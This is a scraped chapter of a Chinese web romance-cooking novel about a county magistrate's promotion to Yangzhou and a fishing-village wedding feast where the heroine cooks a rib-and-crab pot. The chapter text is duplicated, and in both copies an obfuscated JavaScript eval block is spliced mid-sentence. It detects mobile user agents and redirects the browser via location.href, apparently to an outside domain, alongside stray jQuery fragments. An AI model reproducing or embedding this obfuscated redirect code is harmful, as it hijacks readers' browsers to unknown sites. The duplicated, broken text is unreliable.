县令的渔女小厨娘（美食）柚子蜜梨
72. 排骨肉蟹煲
小
大
临海县南城和北城的房屋建好后，越来越多的店铺开始营业，卖吃的、卖穿的、卖玩的，应有尽有，热闹非凡，尤其是贯穿东西南北的中心街，俨然形成了一片商业区。
云楚沅不仅在中心街多了几处新铺子，还在附近买下了三间住宅，她准备带着小弟和小妹搬进来。
下个月云楚沅就要出发去江南，趁这几日她赶紧把手底下的工作安排好，加工坊多开了一间又一间，生产速度才勉强抵得上售卖的速度，这期间又招了不少人。
县衙厨娘的工作云楚沅也没法做了，她从膳房的伙夫里挑了个伶俐的，培养成了新厨子。
离开县衙前，云楚沅本想和裴县令亲口道别，可青竹通报后传回话来，裴大人忙于公务，没空见她。
走出县衙大门时，云楚沅的心情有些低落，这里也算是她开启临海县生活的地方，如今就这样悄悄走了，心里总觉得空落落的。
可天下无不散的宴席，云楚沅深呼一口气，迈着坚定的步伐转身离开了，她即将开启新的征程。
书房里，端坐在桌子后看书的裴昱臣好半天都没翻页，他忍不住出声：“她走了？”
青竹偷偷觑了一眼自家大人的脸色，小心翼翼地开口：“云姑娘一刻钟前已经离开了。”
“……”裴昱臣张了张嘴，却又不知道说什么。
这不正是他想要的吗？再相见定会徒增烦恼，倒不如不道别，就这样放手让她离开。
青竹看着县令大人愣神的模样，心下叹了口气，这叫什么事啊，云姑娘头也不回地走了，裴大人黯然神伤，他们俩可是他很看好的一对啊！
前几日兴冲冲的裴大人还询问他成亲的事宜，之后却没有下文了。
青竹心里难过得不行，恨不得摁着两人的脑袋让他们再见一面，有什么想说的就说出来呀！
“大人，我听云姑娘说她下个月中旬才会启程，您要是舍不得她，就好好把握住这剩下的十几日，争取把她拿下呀。”青竹还是忍不住劝起了裴昱臣。
烈女怕郎缠，他就不信了，若是裴大人拉下脸面讨好云姑娘，还能拿不到名分吗？
裴昱臣眉头紧锁，眼底闪过一丝挣扎，叹了口气说道：“算了，我何必去惹人生厌呢，到时候怕是连朋友都做不成了。”
青竹怒其不争，一副天都塌了的样子，连连哀叹：“大人，您糊涂啊，倘若日后云姑娘结识的人多了，哪还记得您这号人物啊！”
他又继续添了把火：“而且云姑娘要是嫁人了，她的夫君怎么可能允许她与外男有往来呢？”
裴昱臣的脸色煞白了一瞬，嘴唇抿得死死的，逞强道：“那我会尊重她的意愿，不再来往。”
青竹很想说，大人您可别嘴硬了，你手里握住的茶杯都快被捏碎了。
“咚咚咚！”
敲门声响起，外面传来小厮的说话声，“大人，有您的信。”
“送进来吧。”
小厮推开门，将门房收到的信件呈了上来，“大人，江南来信。”
裴昱臣接过后，见到信封上熟悉的字迹，他就知道这是严指挥使寄来的信，裴昱臣拆开后一目十行地看了起来，越往后看神色越是讶异。
以严指挥使的雷霆手段，他不费吹灰之力地拿下杜知州一事，他并不意外。
令他感到惊讶的是，江南局势混乱，圣上想安排一个没有投靠任何势力的官员担任扬州的新知州，这不就想起了他这位新科状元来了。
严指挥使递交的奏折言明铲除倭寇之事有裴昱臣一份功劳，替他美言了几句。
圣上查了秋税后，惊奇地发现他掌管的临海县不仅不再欠税，还比一些富庶县城上交的税更多，便认定裴状元是个人才，立马下旨让他去接任扬州知州的职位。
严指挥使在信中说道，各方势力为了这个肥差挣得头破血流，最后却落在了他这位名不见径传的小县令身上，他们难免会给他使绊子，让他赴任后小心行事。
看完信后的裴昱臣久久不能回神，想不到他这么快就要离开临海县了。
不到一年的时间，这个穷乡僻壤的小县城发生了翻天覆地的变化，如今百姓们安居乐业，很少出现偷盗之事，他也算是完成使命，可以安心离去了。
想到那位帮他出谋划策的女子，裴昱臣露出了一抹笑，这就是上天注定的缘分吗？云楚沅前脚说要去江南，后脚他升迁的旨意就要下来了。
看来，他又有机会与她继续接触了，这一回他不会再轻易放弃。
青竹瞧着自家大人看了封信后，脸色阴雨转晴，笑得一副春心荡漾的模样，不明白他这是遇上了什么好事。
“青竹，准备收拾好行囊，下个月我也要去江南。”
青竹眼睛一亮，笑得合不拢嘴，“好嘞，大人！”看来大人想通了，这是要去千里追妻呢。
——
云楚沅牵着小弟和小妹的手走在回小渔村的路上，身后传来一阵驴蹄声和吆喝声，“云丫头，我捎你一程。”
云楚沅循声回头看去，村长余满生驾着驴车“哒哒哒哒”靠近，他的车上还载着几名眼生的男子。
“村长，你这是干嘛去了。”云楚沅在驴车上坐稳，悄悄打量了一番对面的几个人，他们眼神兴奋，叽叽喳喳地小声交流着。
余满生乐呵呵地说道：“临海县这几天不是来了许多外乡人吗？他们对咱们村的养殖区很感兴趣，想要来参观，顺便也想体验一把出海钓鱼的乐趣。”
据村长的解释，这几个男子要租船去海钓，顺便掏银子在他家里吃一顿海鲜大餐。
村长的驴车这两天已经接待了不下百人，业务都已经熟练了。
云楚沅回过味来，这不就是旅游业吗？他们村这是要开海边渔家乐了呀，让旅客们体验渔业，还能品尝到自己亲手捞上来的新鲜海鲜。
不得不说，村民们的脑子还真是好使啊，这就让他们抓住了商机。
“村长，这几日村民们很忙吧。”
“可不是嘛，大伙儿都抢着接客呢，有两家为了争客人差点打起来！”
余满生感慨万千，遥想去年，他们还是看老天爷脸色吃饭的渔民，如今却过上了养鱼养虾轻松赚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109371|177545||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
银子的好日子，云家丫头功不可没啊。
想到这里，他看向云楚沅的目光越发和蔼，“丫头，到叔家去吃饭呗，你大娘今儿个做了不少好菜呢。”
云楚沅笑着拒绝：“不了，我和林大娘约好了去他们家吃午饭呢，明日小贝哥就要成亲了，我们还要商量商量喜宴上的菜式呢。”
余满生也想起了这茬事：“哎哟，差点忙活忘了，明天就是小贝娶亲的日子咧，回头我让你大娘一块去帮忙。”
村子里就是这样，谁家有喜事或者丧事，全村人都会去帮衬，主打一个人情世故。
翌日天不亮，云楚沅就穿戴整齐，赶往了林家，大伙儿已经忙了起来，男人们搬来桌椅板凳，妇女们择菜洗碗。
院子里的案板上堆满了各种新鲜的食材，肥嫩的猪肉、活蹦乱跳的鱼虾、张牙舞爪的螃蟹，还有翠绿欲滴的青菜。
几个婶子支起一口大铁锅，下面的柴火噼里啪啦地烧着，锅里的水咕嘟咕嘟冒着热气，肉香味蹿向四周。
“哟，这是做什么好吃的呢？”钟兰花的娘家嫂子也来帮忙，她和云楚沅很熟，毕竟云记可是承包了他们家的全部海鸭蛋，是他们钟家的大客户。
“嫂子你来了？我正在焯排骨呢，今日要做一道排骨肉蟹煲。”云楚沅一边用勺子搅动着锅里变白的排骨，一边笑着说道。
“嘿，老林家请你来掌勺做喜宴，俺们有口福了。”钟家嫂子的话引来了一大片附和声。
切着菜的钟兰花说道：“那可不，楚沅的手艺那是没话说，黎娘子来和我们小贝定亲那日，尝了云妹子做的鲍鱼红烧肉，吃的那叫一个香。”
被林大娘安排来添柴的林小鱼抬起头来：“这倒是真的，林小贝从那天起，老是偷偷进厨房学做菜，有一回还切破了手指呢。”
周围人一听，顿时笑得不行，“哎哟，咱们小贝还真是贤惠，还懂得抓住女人的胃。”
“你这丫头，别揭你哥哥的短了！”钟兰花伸出手指点了点林小鱼的额头，哪有在成亲之日说新郎官的糗事的。
旁边的云楚沅起锅烧油，放入姜片和蒜末爆香，焯过水的排骨倒入锅中煎至金黄。
对半切开的螃蟹露出了里面饱满的蟹肉和橙红的蟹黄，放入锅中与排骨一同翻炒，蟹壳变红后，倒入提前熬好的高汤，加入生抽、蚝油、糖、八角、桂皮等调料小火慢炖。
门外响起一阵唢呐声，迎亲的队伍到了，身穿红色喜袍的黎娘子意气风发地走在最前头，胸前绑着一朵大红花，她隔着老远就闻到一股肉香味，顿时加快了脚步。
“爹，娘，我来娶小贝了！”黎娘子一进林家大门就嚷嚷了起来。
她眼神游移，不停扫视着桌子上的席面，除了红烧肉、清蒸鱼、油焖虾、炒蛤蜊等菜品，唯独桌子中间放着的砂锅是她不认识的新菜，想必那股子霸道的香味就是出自这道菜。
“哎呦，黎娘子来了，咱们准备开席吧。”
林大娘笑着将她迎了进来，村子里办喜事没那么多讲究，更何况他们林家是入赘，索性让新郎官和新娘子都出来敬酒。
云楚沅不仅在中心街多了几处新铺子，还在附近买下了三间住宅，她准备带着小弟和小妹搬进来。
下个月云楚沅就要出发去江南，趁这几日她赶紧把手底下的工作安排好，加工坊多开了一间又一间，生产速度才勉强抵得上售卖的速度，这期间又招了不少人。
县衙厨娘的工作云楚沅也没法做了，她从膳房的伙夫里挑了个伶俐的，培养成了新厨子。
离开县衙前，云楚沅本想和裴县令亲口道别，可青竹通报后传回话来，裴大人忙于公务，没空见她。
走出县衙大门时，云楚沅的心情有些低落，这里也算是她开启临海县生活的地方，如今就这样悄悄走了，心里总觉得空落落的。
可天下无不散的宴席，云楚沅深呼一口气，迈着坚定的步伐转身离开了，她即将开启新的征程。
书房里，端坐在桌子后看书的裴昱臣好半天都没翻页，他忍不住出声：“她走了？”
青竹偷偷觑了一眼自家大人的脸色，小心翼翼地开口：“云姑娘一刻钟前已经离开了。”
“……”裴昱臣张了张嘴，却又不知道说什么。
这不正是他想要的吗？再相见定会徒增烦恼，倒不如不道别，就这样放手让她离开。
青竹看着县令大人愣神的模样，心下叹了口气，这叫什么事啊，云姑娘头也不回地走了，裴大人黯然神伤，他们俩可是他很看好的一对啊！
前几日兴冲冲的裴大人还询问他成亲的事宜，之后却没有下文了。
青竹心里难过得不行，恨不得摁着两人的脑袋让他们再见一面，有什么想说的就说出来呀！
“大人，我听云姑娘说她下个月中旬才会启程，您要是舍不得她，就好好把握住这剩下的十几日，争取把她拿下呀。”青竹还是忍不住劝起了裴昱臣。
烈女怕郎缠，他就不信了，若是裴大人拉下脸面讨好云姑娘，还能拿不到名分吗？
裴昱臣眉头紧锁，眼底闪过一丝挣扎，叹了口气说道：“算了，我何必去惹人生厌呢，到时候怕是连朋友都做不成了。”
青竹怒其不争，一副天都塌了的样子，连连哀叹：“大人，您糊涂啊，倘若日后云姑娘结识的人多了，哪还记得您这号人物啊！”
他又继续添了把火：“而且云姑娘要是嫁人了，她的夫君怎么可能允许她与外男有往来呢？”
裴昱臣的脸色煞白了一瞬，嘴唇抿得死死的，逞强道：“那我会尊重她的意愿，不再来往。”
青竹很想说，大人您可别嘴硬了，你手里握住的茶杯都快被捏碎了。
“咚咚咚！”
敲门声响起，外面传来小厮的说话声，“大人，有您的信。”
“送进来吧。”
小厮推开门，将门房收到的信件呈了上来，“大人，江南来信。”
裴昱臣接过后，见到信封上熟悉的字迹，他就知道这是严指挥使寄来的信，裴昱臣拆开后一目十行地看了起来，越往后看神色越是讶异。
以严指挥使的雷霆手段，他不费吹灰之力地拿下杜知州一事，他并不意外。
令他感到惊讶的是，江南局势混乱，圣上想安排一个没有投靠任何势力的官员担任扬州的新知州，这不就想起了他这位新科状元来了。
严指挥使递交的奏折言明铲除倭寇之事有裴昱臣一份功劳，替他美言了几句。
圣上查了秋税后，惊奇地发现他掌管的临海县不仅不再欠税，还比一些富庶县城上交的税更多，便认定裴状元是个人才，立马下旨让他去接任扬州知州的职位。
严指挥使在信中说道，各方势力为了这个肥差挣得头破血流，最后却落在了他这位名不见径传的小县令身上，他们难免会给他使绊子，让他赴任后小心行事。
看完信后的裴昱臣久久不能回神，想不到他这么快就要离开临海县了。
不到一年的时间，这个穷乡僻壤的小县城发生了翻天覆地的变化，如今百姓们安居乐业，很少出现偷盗之事，他也算是完成使命，可以安心离去了。
想到那位帮他出谋划策的女子，裴昱臣露出了一抹笑，这就是上天注定的缘分吗？云楚沅前脚说要去江南，后脚他升迁的旨意就要下来了。
看来，他又有机会与她继续接触了，这一回他不会再轻易放弃。
青竹瞧着自家大人看了封信后，脸色阴雨转晴，笑得一副春心荡漾的模样，不明白他这是遇上了什么好事。
“青竹，准备收拾好行囊，下个月我也要去江南。”
青竹眼睛一亮，笑得合不拢嘴，“好嘞，大人！”看来大人想通了，这是要去千里追妻呢。
——
云楚沅牵着小弟和小妹的手走在回小渔村的路上，身后传来一阵驴蹄声和吆喝声，“云丫头，我捎你一程。”
云楚沅循声回头看去，村长余满生驾着驴车“哒哒哒哒”靠近，他的车上还载着几名眼生的男子。
“村长，你这是干嘛去了。”云楚沅在驴车上坐稳，悄悄打量了一番对面的几个人，他们眼神兴奋，叽叽喳喳地小声交流着。
余满生乐呵呵地说道：“临海县这几天不是来了许多外乡人吗？他们对咱们村的养殖区很感兴趣，想要来参观，顺便也想体验一把出海钓鱼的乐趣。”
据村长的解释，这几个男子要租船去海钓，顺便掏银子在他家里吃一顿海鲜大餐。
村长的驴车这两天已经接待了不下百人，业务都已经熟练了。
云楚沅回过味来，这不就是旅游业吗？他们村这是要开海边渔家乐了呀，让旅客们体验渔业，还能品尝到自己亲手捞上来的新鲜海鲜。
不得不说，村民们的脑子还真是好使啊，这就让他们抓住了商机。
“村长，这几日村民们很忙吧。”
“可不是嘛，大伙儿都抢着接客呢，有两家为了争客人差点打起来！”
余满生感慨万千，遥想去年，他们还是看老天爷脸色吃饭的渔民，如今却过上了养鱼养虾轻松赚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109371|177545||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
银子的好日子，云家丫头功不可没啊。
想到这里，他看向云楚沅的目光越发和蔼，“丫头，到叔家去吃饭呗，你大娘今儿个做了不少好菜呢。”
云楚沅笑着拒绝：“不了，我和林大娘约好了去他们家吃午饭呢，明日小贝哥就要成亲了，我们还要商量商量喜宴上的菜式呢。”
余满生也想起了这茬事：“哎哟，差点忙活忘了，明天就是小贝娶亲的日子咧，回头我让你大娘一块去帮忙。”
村子里就是这样，谁家有喜事或者丧事，全村人都会去帮衬，主打一个人情世故。
翌日天不亮，云楚沅就穿戴整齐，赶往了林家，大伙儿已经忙了起来，男人们搬来桌椅板凳，妇女们择菜洗碗。
院子里的案板上堆满了各种新鲜的食材，肥嫩的猪肉、活蹦乱跳的鱼虾、张牙舞爪的螃蟹，还有翠绿欲滴的青菜。
几个婶子支起一口大铁锅，下面的柴火噼里啪啦地烧着，锅里的水咕嘟咕嘟冒着热气，肉香味蹿向四周。
“哟，这是做什么好吃的呢？”钟兰花的娘家嫂子也来帮忙，她和云楚沅很熟，毕竟云记可是承包了他们家的全部海鸭蛋，是他们钟家的大客户。
“嫂子你来了？我正在焯排骨呢，今日要做一道排骨肉蟹煲。”云楚沅一边用勺子搅动着锅里变白的排骨，一边笑着说道。
“嘿，老林家请你来掌勺做喜宴，俺们有口福了。”钟家嫂子的话引来了一大片附和声。
切着菜的钟兰花说道：“那可不，楚沅的手艺那是没话说，黎娘子来和我们小贝定亲那日，尝了云妹子做的鲍鱼红烧肉，吃的那叫一个香。”
被林大娘安排来添柴的林小鱼抬起头来：“这倒是真的，林小贝从那天起，老是偷偷进厨房学做菜，有一回还切破了手指呢。”
周围人一听，顿时笑得不行，“哎哟，咱们小贝还真是贤惠，还懂得抓住女人的胃。”
“你这丫头，别揭你哥哥的短了！”钟兰花伸出手指点了点林小鱼的额头，哪有在成亲之日说新郎官的糗事的。
旁边的云楚沅起锅烧油，放入姜片和蒜末爆香，焯过水的排骨倒入锅中煎至金黄。
对半切开的螃蟹露出了里面饱满的蟹肉和橙红的蟹黄，放入锅中与排骨一同翻炒，蟹壳变红后，倒入提前熬好的高汤，加入生抽、蚝油、糖、八角、桂皮等调料小火慢炖。
门外响起一阵唢呐声，迎亲的队伍到了，身穿红色喜袍的黎娘子意气风发地走在最前头，胸前绑着一朵大红花，她隔着老远就闻到一股肉香味，顿时加快了脚步。
“爹，娘，我来娶小贝了！”黎娘子一进林家大门就嚷嚷了起来。
她眼神游移，不停扫视着桌子上的席面，除了红烧肉、清蒸鱼、油焖虾、炒蛤蜊等菜品，唯独桌子中间放着的砂锅是她不认识的新菜，想必那股子霸道的香味就是出自这道菜。
“哎呦，黎娘子来了，咱们准备开席吧。”
林大娘笑着将她迎了进来，村子里办喜事没那么多讲究，更何况他们林家是入赘，索性让新郎官和新娘子都出来敬酒。